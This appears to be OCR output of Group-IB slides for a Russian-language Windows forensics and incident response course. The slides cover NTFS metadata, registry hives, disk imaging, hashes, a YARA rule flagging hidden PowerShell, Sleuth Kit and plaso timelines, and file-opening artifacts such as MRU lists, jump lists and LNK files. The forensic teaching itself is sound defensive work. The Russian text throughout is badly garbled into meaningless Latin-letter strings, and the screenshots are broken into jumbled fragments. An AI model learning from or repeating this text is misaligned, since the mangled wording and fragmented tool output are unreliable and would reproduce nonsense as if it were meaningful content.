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WHOAMI

Oner CKynkuH

Beoywmunm cneunanmct no KOMNbTEPHOU KPUMUHANUCTUKE
skulkin@group-ib.com | @oskulkin

8 net paboTbl B 0bnactn DFIR; coaBTop «Windows Forensics Cookbook», «Practical
Mobile Forensics», «Learning Android Forensics»; aBTop 100+ ctateu no DFIR
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XN3HEeHHbIN UMK

[Nownck cnepos Nownck cnepos [Nounck cnenos
3aKpenneHus B pacnpoCcTpaHeHN OENCTBUN Ha
cucteme S1 M0 CETU obbekTax

[NoaroTtoBka Nouck cnenos
MCTOYHUKOB nepBUYHOM
nHpopmauum KoMrnpomeTaumm

Nouck cnenos

3anycka
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SOME THINGS SHOULD BE SIMPLE; EVEN AN END HAS A START*
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dannoBas cucrema

Mo naHHbIM MICROSOFT, nogaBnsaowee 00oNbLLWUHCTBO
pabo4ynx ctaHUUU N cepBepoB, paboTarowmx non
ynpaeneHnem OC WINDOWS, ncnonb3ytoT NIFS B kKayecTBe
channnoBOu CUCTEMbL.
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CtpykTtypa NTFS
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[lpakTuKa: YaaneH!=YTepsH

Name Size | Type | Date Modified
System Volume Information 1 Directory 6/26/2019 1:13:17 PM
| SAttrDef 3 Regular File 6/26/2019 1:13:15 PM
| $BadClus 0 Regular File 6/26/2019 1:13:15 PM
| SBitmap 32 Regular File 6/26/2019 1:13:15 PM
| SBoot 8 RegularFile 6/26/2019 1:13:15 PM
8130 4 NTFSIndex All... 6/26/2019 1:17:14 PM
| SLogFile 4896 Regular File 6/26/2019 1:13:15 PM
] SMFT 256 Regular File 6/26/2019 1:13:15 PM
| SMFTMirr 4 Regular File 6/26/2019 1:13:15 PM
] $Secure 1 Regular File 6/26/2019 1:13:15 PM
| STXF_DATA 1 NTFSLogged.. 6/26/2019 1:17:14 PM
| ] SUpCase 128 Regular File 6/26/2019 1:13:15 PM
u $Volume 0 Regular File 6/26/2019 1:13:15 PM
&] Hi_lm_A_Deleted_Picture.jpg 319 Regular File 6/26/2019 1:16:19 PM
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3anucb B rnaBHou channoBou Tabnuue

Haunbonee BaXkHble C KPUMUHANNCTUHECKON TOYKN 3PEHUS

CBoboagHas

3arofnoBoK SSTANDARD_INFORMATION SFILE_NAME
obnactb

NHble aTpnbyThl
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') MpakTuka: aHanus aTpuodyToB ¢pannos

BN -

G:\AHanus aTpubytoB dainoe ¢ nomowpkw the Sleuth Kit\sleuthkit-4.6.5-win32\bin>istat D:\VICTIM.E©1 89039
MFT Entry Header Values:

Entry: 89639 Sequence: 4

$LogFile Sequence Number: 762129243

Allocated File

Links: 1

$STANDARD_INFORMATION Attribute Values:

Flags: Archive

Owner ID: ©

Security ID: 2391 (S-1-5-21-3461203602-4096304019-2269080069-1000)
Last User Journal Update Sequence Number: 175608528

Created: 2019-06-05 19:02:18.000000000 (Russia TZ 2 Standard Time)
File Modified: 2019-06-05 16:07:21.507225900 (Russia TZ 2 Standard Time)
MFT Modified: 2019-06-05 16:07:21.507225900 (Russia TZ 2 Standard Time)
Accessed: 2019-06-05 16:31:16.210627400 (Russia TZ 2 Standard Time)

$FILE_NAME Attribute Values:

Flags: Archive

Name: clickme.lnk

Parent MFT Entry: 83491 Sequence: 1

Allocated Size: © Actual Size: ©

Created: 2019-06-05 16:04:06.327899600 (Russia TZ
File Modified: 2019-06-05 16:04:06.327899600 (Russia TZ
MFT Modified: 2019-06-05 16:04:06.327899600 (Russia TZ
Accessed: 2019-06-05 16:04:06.327899600 (Russia TZ

Standard Time)
Standard Time)
Standard Time)
Standard Time)

NNNN
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Bonble nHcpopmauum o6 NTFS

“This is the foundation book for file system analysis. Brian Carrier A
has done what needed to be done for this field.” vv

—From the Foreword by Mark M. Pollitt, President, Digital Evidence
Professional Services, Inc., and Retired Director of the FBI's Regional
Computer Forensic Laboratory Program

FILE SYSTEM
FORENSIC Brian Carrier, File System Forensic Analysis:

ANALYSIS

https://www.amazon.com/System-Forensic-Analysis-Brian-
Carrier/dp/0321268172/

BRIAN CARRIER
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®AUINbI Peectpa WINDOWS

C:\Windows\System32\config C:\Users\%username%
SAM NTUSER.DAT
SECURITY \AppData\Local\Microsoft\
Windows\USRCLASS.DAT
SYSTEM
SOFTWARE

DEFAULT
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Pa3genbl, napamMmeTpbl U 3HA4YEHUA

[TapameTp

Tnn

Name smrs

HKCU\Software\Microsoft\Windows\CurrentVersion\Run Type REG.SZ

Data Cintel\smrs.exe

KopHeBown pasgern Pasgensl 3Ha4veHune
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| MpakTuka: MpocmoTp hannos peecTpa

& Registry Explorer v1.4.2.0 _ O X
File Tools Options Bookmarks (25/0) View Help
Registry hives (1) Available bookmarks (25/0) Values TimeZoneInformation
Key name # values # subkeys Last write timestamp
T . Afc 7 7 V =
SrpExtensionConfig 2009-07-14 04:42:10 ! Value Name | Value Data | Value Data Raw
) = Stilimage 2009-07-14 04:37:09 ¥ |l AQc AQc
Storage 2009-07-14 04:37:09 » | Bias 480 430
» SystemResources 2009-07-14 04:37:09 DaylightBias -60 4294967236
» [ TabletPC 2003-07-14 04:37:09 DaylightName @tzres.dll,-211 @tzres.dll,-211
» [ Terminal Server 2019-03-10 11:32:16 DaylightStart Month 3, week of month 2, day of week 0, 00-00-03-00-02-00-02-00-00-00-00-00-00-00-00-00
) == TimeZonelInforma... : 0 2019-03-10 10:00:14 Hours:Minutes:Seconds:Milliseconds 2:0:0:0
Ubpm 1 0 2018-01-03 04:08:19 StandardBias 0 0
N usbflags 0 2 2009-07-14 04:37:09 StandardName @tzres.dl,-212 @tzres.dl,-212
» usbstor 0 4 2009-07-14 04:37:09 StandardStart Month 11, week of month 1, day of week 0, 00-00-0B-00-01-00-02-00-00-00-00-00-00-00-00-00
» E= VAN 0 3 2009-07-14 04:41: 15 Hours:Minutes:Seconds:Milliseconds 2:0:0:0
2 Video 0 5 2018-01-03 01:20:30 TimeZoneKeyName Padific Standard Time Padific Standard Time
VirtualDeviceDrivers 1 0 2009-07-1404:37:09 D o =
» WCNCSVC 0 2 2009-07-1404:37:09
» = wdf 0 2 2018-01-03 04:07:27
» [~ WDI 0 3 2009-07-1404:37:27
Windows 10 0 2019-03-10 11:31:55
» [ Winlogon 1 1 2018-01-03 04:44:42
» T WMI 0 2 2009-07-14 04:37:09 Total rows: 9 Export ?
wow 5 0 2009-07-1404:37:09 | e
» = Enum 25 15 2018-01-0301:20:30 Type viewer Binary viewer
» 7~ Hardware Profiles 0 2 2019-03-10 11:32:03 Value name |Bias
== Policies 0 0 2009-07-1404:37:24
» [ services 0 450 2019-03-10 13:08:15 Value type |Rengord
» [~ ControlSet002 0 5 2009-07-1404:53:14
Value 430
MountedDevices 8 0 2018-01-0301:19:56
RNG 2 0 2019-03-10 12:47:04
Select 4 0 2009-07-1404:53:15
» | Setup 10 7 2019-03-10 11:32:21
- Raw value E0-01-00-00
» WPA 0 14 201S9-03-09 14:17:14
» | .. Associated deleted records 0 0
» | 4 Unassociated deleted records 0
v
Key: = ControlSet001\Control\TimeZonelnformation Value:  Bias  Collapse all hives
Selected hive: SYSTEM = Lastwrite: = 2019-03-10 10:00:14 10 of 10 values shown (100.00%) Load complete Hidden keys: 0 = 3
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bonblwe nHpopmauum o PeecTpe

Harlan Carvey, Windows Registry Forensics:

https://www.amazon.com/Windows-Registry-Forensics-Ad
vanced-Forensic/dp/012803291X/

WINDOWS REGISTRY
FORENSICS

ADVANCED DIGITAL FORENSIC ANALYSIS OF THE WINDOWS REGISTRY

SECOND EDITION
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[loogroToBKa UCTOYHUKOB MHOpMaLnn

Nownck cnenos Nownck cnepos [Nounck cnenos
3aKkpenneHns B pacrnpocTpaHeHun OEeNcTBUN Ha
cucrteme S1 M0 ceTu obbekTax

[MogrotoBka Mowuck cnenos
NCTOYHNKOB nepBUYHOM
NHdopMaLnK KoMnpomeTaumm

Nouck cnenos

3anycka
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Co3pnaHue KpUMUHaANUCTUYECKUX KOMUN

. [ToOuTOBbLIE
Triage
KON

AD1 RAW/DD

L01/Lx01 EO1/Ex01

ZIP/TAR AFF
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TRIAGE-konum

OrpaHun4eHHoe

KOJINHECTBO AaHHDbIX

Jlornyeckne gucku

dunsnyeckne ONCKu
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[MpakTuka: CozpgaHue TRIAGE-konuwm

Custom Content Sources X Creating Image [100%] — X
Evidence:File System |Path |File ' Options
C:\:NONAME [NTFS]|[root] [Users]0136|NT... Exact Image Source: Custom Content Image
C:\:NONAME [NTFS] |[root] JUsers|0136|nt... Exact NS .
C:\:NONAME [NTFS] |[root] JUsers|0136|nt... Exact Destination: D:\triage
C:\:NONAME [NTFS] |[root] |Windows|Syst... Wildcard,Conside
Status: Image created successfully
—Progress -

EEEEEENEENENENENENENNNNEENENNNNEENEEEEE]
74.71 of 74.71 MB (9.339 MB/sec)

Elapsed time: 0:00:08

Estimated time left: 0:00:00

< >

Image Summary... I Close

uewl Edit I I Remove I_\II| Create Image
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Jlormnyeckue oOUCKu

OrpaHnyeHHoe
KONMM4YeCcTBO JaHHbIX

Jlornyeckne gnucku

dunsnyeckne ONCKu
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[MpakTuka: CozaaHue Konun nornyeckoro ouckKka

Select Source X Creating Image [100%] — X
- Please Select the Source Evidence Type Image Source: G:\
(-\ . .
Physical Drive Destination: D:\Logical
{* Logical Drive
Status: Image created successfully
" Image File

—Progress -
ERENENREEREEERENENEENNNNERNNENRRRREEREE]
14804.06 of 14804.06 MB (18.459 MB/sec)

" Contents of a Folder
{logical filedevel analysis only; excludes deleted, unallocated, etc.)

" Femico Device {multiple CD/DVD)

Elapsed time: 0:13:22

Estimated time left: 0:00:00

Next > Cancel Help Image Summary... Close
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dusnyecKkne ANCKu

OrpaHnyeHHoe
KONMM4YeCcTBO JaHHbIX

Jlornyeckne guckm

dusnyeckne ONCKu
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[MpakTuka: CozgaHue Konmmn consnyeckoro gncka

Select Source X Creating Image [100%] — X
- Please Select the Source Evidence Type Image Source: \\. \PHYSICALDRIVES
(.\- . .
Physical Drive Destination: D:\Physical

" Logical Drive
Status: Image created successfully

" Image File
—Progress -

" Contents of a Folder
{logical filedevel analysis only; excludes deleted, unallocated, etc.)

EEEEENEEENENENENENENNNEEENENNNNNENENEEE]
14808.00 of 14808.00 MB (18.533 MB/sec)

" Femico Device {multiple CD/DVD)

Elapsed time: 0:13:19
Estimated time left: 0:00:00

Next > Cancel Help Image Summary... Close
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_J NpakTuka: MoHTUpOBaHME KONMUU OUCKOB

Mount Image To Drive

Add Image

Image File:

D:\VICTIM.EO1 I

Mount Type: IPhysicaI & Logical

Drive Letter: |Next Available (3:)

LefLed Led

Mount Method: |Blod< Device /Read Only

D:
Mount
-‘Mapped Image List

Mapped Images:

Drive I Method l Partition l Image

PhysicalDrives Block Device/Read ... Image D:\VICTIM.EO1

H: Block Device/Read ...  Windows 10 [NTFS] D:\VICTIM.EO1
<

Close |
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KOHTpONbHbLIE CYMMbI

\ID}

e 27304b246c7d5b4e149124d5f93c5b01

SHA1

e ¢50d9e3bd91908e13a26b3e23edeaf577fb3a095

SHA256

e 3337e3875b05e0bfba69ab926532e3f179e8cfbf162ebb60ce58a0281437a7ef




MpakTuKa: noacyeT KOHTPONbLHOW cyMMbI chana

#-C7) Prefetch

#-{C) Registration
#-C) RemotePackages
&-{C0) rescache

#-{C) Resources

-{3) SchCache

#-C7) schemas

&-C0) security

#-C) ServiceProfiles
&-C0) servicing

#-C) Setup

#-C) Software Distribution

~

|GRDUP‘iB\

Sl File List

Name | Size| Type I Date Modified
Hz| netscan_portable.zip 8,418 Regular File 3/10/2019 6:35:...
'8 openssh.exe 9,333 Regular File 1/3/2018 5:01:2...
[_1 openssh.exe.FileSlack 4 File Slack
| PATH 1 Regular File 1/3/2018 5:01:3...
'ﬂgj RDPWInst-v1.6.2.msi 640 Regular File 3/9/2019 3:52:0...
Hz| RGIEB47.tmp 11 Regular File 3/10/2019 11:0...
R RGIEG47 tmp-tmp 9 Regular File 3/10/2019 11:0...
| RGIEB47 tmp-tmp.File... 4 FileSlack

#'% sdelete.exs

Bz SDelete. ] Export Files...

pont o':r c;'ﬁ

8- sdeleteb [%J Export File Hash List...

|_] sdeletet
;{ Silverlig :

&, Add to Custom Content Image (AD1)

] Silverlight0.log.FileSlack 2

File Slack

5/28/2016 8:12....
1/3/2018 5:03:0...
5/28/2016 8:09....

3/10/2019 11:0...




GRDUP‘]B‘

YARA-TTPABUIJIA

rule mallpaBuna
{
meta:
description = “KpaTkoe onncaHue npasuna
strings:
Sa = “YHUKarnbHaga cTpoka
Sb = “elle ogHa yHUKarnbHasa cTpoka
condition:

Sa or Sb
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YnpaBnsawwue nocrnenoBaTeribHOCTHU

ONBOWHbIE KaBblYKW
obpaTHaga Kocasi yepTa
ropu3oHTanbHas Tabynsuus

HOBas CTPOKa

nodbon 6anT B LLECTHAALLATEPUYHOM
npeacTaBieHnn
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MoandpukaTopbl

nocase NCKAaTb CTPOKY BHE 3aBUCUMOCTU OT pErmcTpa

“cKaTb CTPOKY, 3aKOAUPOBAHHYO LUMPOKUMM CUMBOMaMU

OOGHapyxu1BaTb CTPOKY, TONbKO €CITN OHAa HE OKpYyXXeHa

fullword
ByKBEHHO-LUMJPOBLIMY CUMBONaMMU




GRDUP‘iB\

OnepaTopbl

Jlornyeckune AND, OR, NOT

CpaBHeHuH >=, <=, €, >, ==, =

ApndmMmeTnyeckme +,-, %\, %

butoBble &, |, <<, >>,~, A




MpakTuka: Hanucanue n ncnonb3sosaHue YARA- sROUP||
npaswvn

rule MaliciousPowerShell {
meta:
description = "Detects malicious PowerShell"
strings:
Sp = "powershell" nocase
S1="-nop" nocase
S2 ="-w hidden" nocase
condition:

Sp and (S1 or S2)

Command Prompt - - &

G:\Hanucanue u ucnonb3oeaHue YARA-npaBun>yaraé4.exe MaliciousPowerShell.yar -r H:\Users\Public *
MaliciousPowerShell H:\Users\Public\Documents\temp.bat

G:\HanucaHne n ucnonososaHue YARA-npasun>
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bonblwe nHhopmauum o YARA-IpaBunax

yara Documentation
Release 3.10.0

Victor M. Alvarez

OdomunanbHasa gokymeHTaumns YARA:

https://buildmedia.readthedocs.org/media/pdf/vara/latest
/vara.pdf

Jun 13, 2019
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TanmnauHbl

TanmnawnH Cynep TanmnauviH




» MpakKTuka: cozgaHne TanMnamnHa Ha ©“KMBOn» 5ROUP ||
- cucteme

Administrator: Command Prompt - O X

C:\WINDOWS\system32>cd "C:\Users\@136\Desktop\sleuthkit-4.6.1-win32\bin"
C:\Users\@136\Desktop\sleuthkit-4.6.1-win32\bin>fls -m "C:/" -r \\.\c: > body.txt
C:\Users\0@136\Desktop\sleuthkit-4.6.1-win32\bin>mactime.pl -b body.txt -d > timeline.csv

C:\Users\0136\Desktop\sleuthkit-4.6.1-win32\bin>




» [MpakTuka: cosgaHve TaumMmnavHac
~ MCNONMb30BaHMEM KOMNUU AUCKa

Administrator: Command Prompt - O

C:\Users\0136\Desktop\sleuthkit-4.6.1-win32\bin>fls -m "C:/" -r F:\root.@01 > body.txt
C:\Users\0136\Desktop\sleuthkit-4.6.1-win32\bin>mactime.pl -b body.txt -d > timeline.csv

C:\Users\@136\Desktop\sleuthkit-4.6.1-win32\bin>

X

~

GRDUF"iB‘
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') MpakKkTuka: co3gaHue cynep TamMmnamHa

B¥ Administrator: Command Prompt - O X

C:\Users\0@136\Desktop\plaso>psteal.exe --source F:\root.001 -o 1l2tcsv -w super_timeline.csv
2019-06-24 12:11:05,253 [INFO] (MainProcess) PID:9420 <data_location> Determined data location: C:\U
sers\0@136\Desktop\plaso\data

2019-06-24 12:11:05,266 [INFO] (MainProcess) PID:9420 <artifact_definitions> Determined artifact def
initions path: C:\Users\@136\Desktop\plaso\artifacts

Source path : F:\root.oo1l
Source type : storage media image
Processing time : ©0:00:00

Processing started.
plaso - psteal version 20190331

Source path : F:\root.eol

Source type : storage media image

Processing time : ©0:00:06

Identifier PID Status Memory Sources Events FileMain
9420 collecting © B 1 (1) © (0)

plaso - psteal version 20190331

Source path : F:\root.eol
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[MpakTuKa: NMNpocmMoTp TauMranHoOB

f&] Timeline Explorer v0.8.13.0 — O X
File Tools Help
timeline2.csv
Find Enter value to find... O x « » 0of0 First scrollable column Select a column to pin - E’;g
Power filter Support +AppData x ~[|?
Drag a column header here to group by that column
Line 4« |Tag |Timestamp mach Meta File Name
Y = m = Al Al Al
» 5605 22009—06-11 00:26:19§m. 44743-128-1 C:/Users/Suppert/AppData/Roaming/Microsoft/Windows/SendTo/Desktop (create shortcut).DeskLink
5610 2009-06-11 ©0:26:20 m. 44738-128-1 C:/Users/Support/AppData/Roaming/Microsoft/Windows/SendTo/Mail Recipient.MAPIMail
6477 2009-06-11 ©0:27:15 m. 44744-128-1 C:/Users/Support/AppData/Roaming/Microsoft/Windows/SendTo/Compressed (zipped) Folder.ZFSendToTarget
7118 2009-06-11 ©0:29:17 m. 45890-128-1 C:/Users/Support/AppData/Local/Microsoft/Windows Mail/Stationery/Bears.jpg
7119 2009-06-11 ©0:29:17 m. 45904-128-1 C:/Users/Support/AppData/Local/Microsoft/Windows Mail/Stationery/Garden.jpg
7120 2009-06-11 ©00:29:17 m. 45918-128-1 C:/Users/Suppert/AppData/Local/Microsoft/Windows Mail/Stationery/GreenBubbles.jpg
7121 2009-06-11 ©0:29:17 m. 45934-128-1 C:/Users/Support/AppData/Local/Microsoft/Windows Mail/Stationery/HandPrints.jpg
7122 2009-06-11 ©0:29:17 m. A45936-128-1 C:/UsePs/Support/AppData/Local/Microsoft/Windows Mail/Stationery/OrangeCircles.jpg
7123 2009-06-11 ©00:29:17 m. 45938-128-1 C:/Users/Support/AppData/Local/Microsoft/Windows Mail/Stationery/Peacock.jpg
7124 2009-06-11 ©00:29:17 m. 45981-128-1 C:/Users/Suppert/AppData/Local/Microsoft/Windows Mail/Stationery/Roses.jpg
7125 2009-06-11 ©0:29:17 m. 45994-128-1 C:/Users/Support/AppData/Local/Microsoft/Windows Mail/Stationery/ShadesOfBlue.jpg
7126 2009-06-11 ©0:29:17 m. 46007-128-1 C:/Users/Support/AppData/Local/Microsoft/Windows Mail/Stationery/SoftBlue.jpg
7127 2009-06-11 ©0:29:17 m. 46013-128-1 C:/Users/Support/AppData/Local/Microsoft/Windows Mail/Stationery/Stars.jpg
26907 2009-07-14 ©1:28:34 m. 45888-128-1 C:/Users/Suppert/AppData/Local/Microsoft/Windows Mail/Stationery/Bears.htm
26908 2009-07-14 ©1:28:34 m. 45893-128-1 C:/Users/Support/AppData/Local/Microsoft/Windows Mail/Stationery/Garden.htm
26909 2009-07-14 ©1:28:34 m. A5995-128-1 C:/Users/Support/AppData/Local/Microsoft/windows Mail/Stationery/Green Bubbles.htm
26910 2009-07-14 ©01:28:34 m. 45919-128-1 C:/Users/Support/AppData/Local/Microsoft/Windows Mail/Stationery/Hand Prints.htm
26911 2009-07-14 ©1:28:34 m. 45935-128-1 C:/Users/Support/AppData/Local/Microsoft/Windows Mail/Stationery/Orange Circles.htm
26912 2009-07-14 01:28:34 m. 45937-128-1 C:/Users/Support/AppData/Local/Microsoft/Windows Mail/Stationery/Peacock.htm
26913 2009-07-14 ©1:28:34 m. 45940-128-1 C:/Users/Support/AppData/Local/Microsoft/Windows Mail/Stationery/Roses.htm
‘ »
G:\Ynpaxrernus 5-6\sleuthkit-4.6.5-win32\bin\timeline2.csv Total lines 780,091 Visible lines 2,097
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[Touck CnenoB nepBMYHOU KOMIPOMETALUN

[Nownck cnepos Nownck cnepos Nownck cnepos
3aKkpenneHns B pacrnpocTpaHeHun OEeNcTBUN Ha
cucrteme S1 M0 ceTu obbekTax

Nounck cnepos
nepBUYHOM
KoMnpomeTaumm

[NoaroTtoBka
NCTOYHUKOB
NHdOOpMaLnK

Nownck cnepos

3anycka
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ANIeKTPOHHAasA NoYTa

BpeAOHOCHbIX

Ebrpamm
PacnpocTtpaHAaTCcA
cpeacTBamMm

*Ver aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

ANEeKTPOHHOU NOYThLI
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Cneabl oTkpbiTUA channos: OPEN/SAVE MRU

NTUSER.DAT | Software\Microsoft\Windows\CurrentVersion\Explorer\ComDIg32\OpenSavePidIMRU

a4 OpenSavePidIMRU 0 30 2018-11-0207:59:12 Value Name Value Type Data Value Slack
e 21 0 2018-11-08 14:02:42
— cer 21 0 2018-11-08 14:02:42 Al Al Al Al
= b 21 0|2018-11-08 12:45:21 0 RegBinary 14-00-1F-50-E0-4F-D0-20-EA-3A-69-10-A2-D8-08-00-2B-30-... 00-6A-00
— pdf 21 0 2018-11-08 08:50:24
o =, e e MRUListEx  RegBinary  02-00-00-00-01-00-00-00-00-00-00-00-FF-FF-FF-FF 37-43-34-38
docx 21 0 2018-11-08 07:10:35 1 RegBinary  14-00-1F-50-E0-4F-D0-20-EA-3A-69-10-A2-D8-08-00-28-30-... 00-00-00
doc 21 0 2018-11-0706:13:42 =
= = iy e 2 RegBinary  14-00-1F-50-E0-4F-D0-20-EA-3A-69-10-A2-D8-08-00-28-30-... 00
A 2 0 2018-11-0207:59:12
= xlsx 21 0 2018-10-3106:07:15
= P9 2t Oy B SR OpenSavePidIMRU\RAR
ipeg 0 2018-10-18 12:05:55
png : 0 2018-10-18 06:50:58 LastWrite Time: Fri Feb 15 13:25:40 2019
xml 21 0 2018-10-12 06:49:51 . . .
url 2 0 2018-10-08 11:36:32 Note: All value names are listed in MRUListEx
rtf 21 0 2018-09-2408:44:04
xls 21 0 2018-09-2408:43:53 Order‘
= htm 4 0 2018-09-03 06:06:14
e inf 5 0 2018-07-0508:07:42
— exe 5 0 2018-04-1808:22:06 My Computer\D:\Downloads\malware.rar
RAR - 0 2017-11-24 13:25:40
27 2 0 2017-11-10 06:43: 12 My Computer\D:\Downloads\secrets.rar
Ink 2 0 2017-07-1208:54:15 pq G I')D')D ||.)| I .




GRDUP‘iB\

) NMpakTuka: MonyueHne aaHHLIx 0PEN/SAVE MR

3

File Help
Hive File: G:\MonyyeHue aaHHbx OPENSAVE MRU ¢ nomou Browse
Report File: G:\opensavemru txt Browse
Profile: ntuser -
winrar2.. Done. A
winrar_tin...Done.
winscp...Done.
winscp_sessions...Done.
winvnc...Done.
winzip...Done.
wordwheelquery...Done.
yahoo_cu...Done.
0 plugins completed with emors.
v
Rip It Close

\Done.




GRDUP‘iB\

Cnepabl oTKpbITUA channos: RECENTDOCS

NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs

4 RecentDocs 150 33 2019-01-1508:48:33
“ Folder 31 0 2019-01-1508:48:33
Xlsx - :48: . .
= LastWrite Time Mon Jan 14 13:42:39 2018
== txt 11 0 2019-01-1506:37:25
xls 11 0 2019-01-1506:27:13 (UTC)
fmx 4 0 2019-01-1506:02:45 .
.dotm 2 0 2019-01-14 13:42:39 MRUListEx = 7,0,5,6,8,4,3,2,9,1
~ .doc 11 0 2019-01-14 13:42:39
rtf 11 0 2019-01-1406:20:11 7 - DOWﬂ|Oader.dOC
3 0 2019-01-11 14:58:16 .
Jcpfg 1; 0 2019-01-11 11:35:42 0 - |D,()Kyl\/'eHT |\/|ICI’OSOft WOrd (Z)dOC
= .docx 11 0 2019-01-1108:46:24 .
= ) 0| 20190109 13:23:43 5 = [lokyMeHT Microsoft Word (3).doc
Zip 11 0 2019-01-09 06:57:32 .
.dot 7 0 2018-12-19 12:19:37 6 - InVO|Ce.dOC
~ xm 11 0 2018-07-30 10:41:08
. 5 0 2018-06-18 07:38:40 8 - npeD,J'IO>KeHI/Ie.dOC
htm 11 0 2018-05-2409:24:42
gif 2 0 2017-12-20 12:32:51 4 - CVE'ZOlS'OSOZdOC
== 11 0 2017-12-20 12:06:37
.:?g 4 0 2017-11-07 12:25:47 3 - VBAdOC
part 2 0 2017-06-1507:52:13
: : 0 20170330 05:51:07 2 =Im_Your_Weapon.doc
= ; 11 0 2017-03-2206:16:13
S 2 S me b mnG 9 = Not_so_safe.doc
.VRB 2 0 2016-09-1207:27:15 . .
ED 8 0 2016-08-24 08:44:59 1= Ma||C|OUS.dOC




GRDUP‘]B\

') NpakTuka: MonyyeHune AaHHbIX RECENTDOCS

a RegRipper, v.2.8_20190128 - 0 W
File Help

Hive Fle: G:\lMonyyerune aaHHbx RecentDocs ¢ nomoweto F Browse

Report File: G:\recentdocs txt v

Profile: EATEET. -

winrar2...Done.
winrar_tin...Done.
winscp...Done.
winscp_sessions...Done.
winvnc...Done.

winzip...Done.
wordwheelquery...Done.
yahoo_cu...Done.

0 plugins completed with ermors.

Rip It Close

Done.




GRDUP‘]B\

Cnepabl oTKpbITUSA channos: JUMP LISTS

C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations

112dc1ea8e34b5ab.automaticDestinations-ms

1 1b4dd67§29cb1962.automaticDestinations-ms Entry #: 417
MRU: O

rj 1bc392b8e104a00e.automaticDestinations-ms o
| 28c8b86deab549a1.automaticDestinations-ms Path: C:\Users\User\Downloads\not_malicious.pdf

| 5bb830f67194431a.automaticDestinations-ms AR (el Exs
] 5d696d521de238c3.automaticDestinations-ms SIS @8 A ROy (e 807
| 74d7f43c1561fc1e.automaticDestinations-ms EI U IEC 8 AU IS Slor27/40e
| 75fdabdc3f4b24fc.automaticDestinations-ms ACBITEIUES LWL AROUECUED

| 7e4dcaB0246863e3.automaticDestinations-ms Mac Address: 08:00:27:08:72:ce

=

|1 983%aec312433928.automaticDestinations-ms
LJ 9b%9cdcbOcl1c24elb.automaticDestinations-ms
| a7bd71699cd38d1c.automaticDestinations-ms
L)] be71009ff8bb02a2.automaticDestinations-ms Absolute path: My

| de48a32edcbe79%e4.automaticDestinations-ms Computer\C:\Users\User\Downloads\not_malicious.pdf




GROUP‘iB‘

[MpakTuka: Nony4yeHue aaHHbIX JUMP LISTS

Administrator: Command Prompt - = X

G:\Mony4eHne paHHbix Jump Lists ¢ nomowpbkw JLECMD>JLECmd.exe -f f@1b4d95c¢f55d32a.automaticDestinations-ms
JLECmd version 1.3.0.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/JLECmd

Command line: -f f01b4d95cf55d32a.automaticDestinations-ms

Source file: f01b4d95cf55d32a.automaticDestinations-ms

AppID: f01b4do95cf55d32a

Description: Windows Explorer Windows 8.1.

Expected DestList entries: 10
Actual DestlList entries: 10
DestList version: 4




IGROUP|iB|

Cnepabl oTKpbITUA hannos: SHORTCUTS (LNK)

C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\

| nssm-2.24.zip.Ink 1 Regular File 2/6/2019 3:27:03 PM
Q000 /4C 00 00 00 01 14 02 00-00 00 00 Q0 CO 00 0O

010/00 00 00 46 8B 00 20 00-20 00 00 00 8F 15 70
02030 BE D4 01 8C 81 D2 €8-30 BE D4 01 S8 6&C 97 ¢
03030 BE D4 01 31 SE 05 00-00 00 00 00 01 00 00

" nm
040 /00 00 00 00 00 00 00 0QO0-00 00 00 00 AS 01 14

050 | 1F S0 E0 4F DO 20 EA 3A-€9 10 A2 DS 08 00 28 30| -PA0D &:i-ed. 40 Source flle' D'\Temp\nssm-2'24'2|p'lnk
060 |30 9D 19 00 2F 43 3A 5C-00 00 00 00 00 00 00 QO |OQ---/Ca\-vv-----
070/00 00 00 0O 00 00 00 0O-00 OO0 00 50 00 31 00 00| -cccvvvre-- O [ Sou rce Created: 2019—02—06 15:27:03

080 |00 00 00 00 00 00 00 10-00 S5 73 €5 72 73 00 3C|--------- Users -<

090 |00 09 00 04 00 EF BE 00-00 00 00 00 00 00 00 2E|----- i¥Heoooon-- : . e

0a0 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 QQ | -------rvrennnnn Sou rce mOdIerd: 2019-02-06 15:27:03
0b0 |00 00 00 00 00 00 00 00-00 00 00 00 00 S5 00 73| -------vvve-- U-s

0cO |00 &5 00 72 00 73 00 00-00 14 00 4E 00 31 00 00| -e-r-8-----N-1--

0d0 |00 00 00 00 00 00 00 10-00 S5 73 €5 72 00 00 3A|--------- User--: SOU rce accessed: 2019-02-06 15:27:03
0e0 |00 09 00 04 00 EF BE 00-00 00 00 00 00 00 Q0 2E|----- IR-emnens =

Q£0 |00 00 00 00 00 00 OO0 QO0-00 OO0 OO0 00 OO0 00 Q00 QO | ------mvmmmmnnn

100 |00 00 00 00 00 00 0O 00-00 OO0 00 00 00 55 00 73| -----cvvvvn-- U-s

110 |00 &5 00 72 00 00 00 14-00 70 00 31 0O OO OO QO | -2-x----- p-l----

120|00 46 4E SB 7B 11 00 44-6F 77 6E 6C 6F 61 64 73| -FN[{ - -Downloads ——— Header _——

13000 58 00 09 00 04 00 EF-BE 26 4D FO 9E 46 4E 5D -X----- i%-M5 -FN]

140|/7B 2E 00 00 00 Q00 Q0 0QOQ-00 0O 0O 0O 00 00 00 00 {, --------------

150 (00 00 00 00 00 42 00 00-00 00 00 AS CE OC 01 44| ----- Bisieex “E--D T d 2019_02_06 152651
160 |00 6F 00 77 00 6E 00 &C-00 &F 00 61 00 64 00 73| -0-w-n-l-0-a-d-s arget Create . . .

17000 00 00 44 00 &F 00 77-00 6E 00 &C 00 &F 00 é1|---D-o-w-n-l-0-a o o

180|00 64 00 73 00 00 00 18-00 €3 00 32 00 31 SE 05| -d-5----- h-2-1%- Ta rget m0d|f|ed_ 2019-02-06 15.26_52
190 |00 46 4E SB 7B 20 00 4E-53 53 4D 2D 32 7E 31 2E| -FN[{ -NSSM-2~1.

=~
1)

150 78 4¢ 4E SC 78 28 60 00-00 <3 £D 04 06 60 00 03| (AN(- g ... Target accessed: 2019-02-06 15:27:02

1cO |00 00 00 00 00 00 00 00-00 00 OO0 00 00 00 00 AB| ----- v =
1d0 |Ce 0C 01 €E 00 73 00 73-00 €D 00 2D 00 32 00 2E|E--n-3s-s'-m-—-2-.
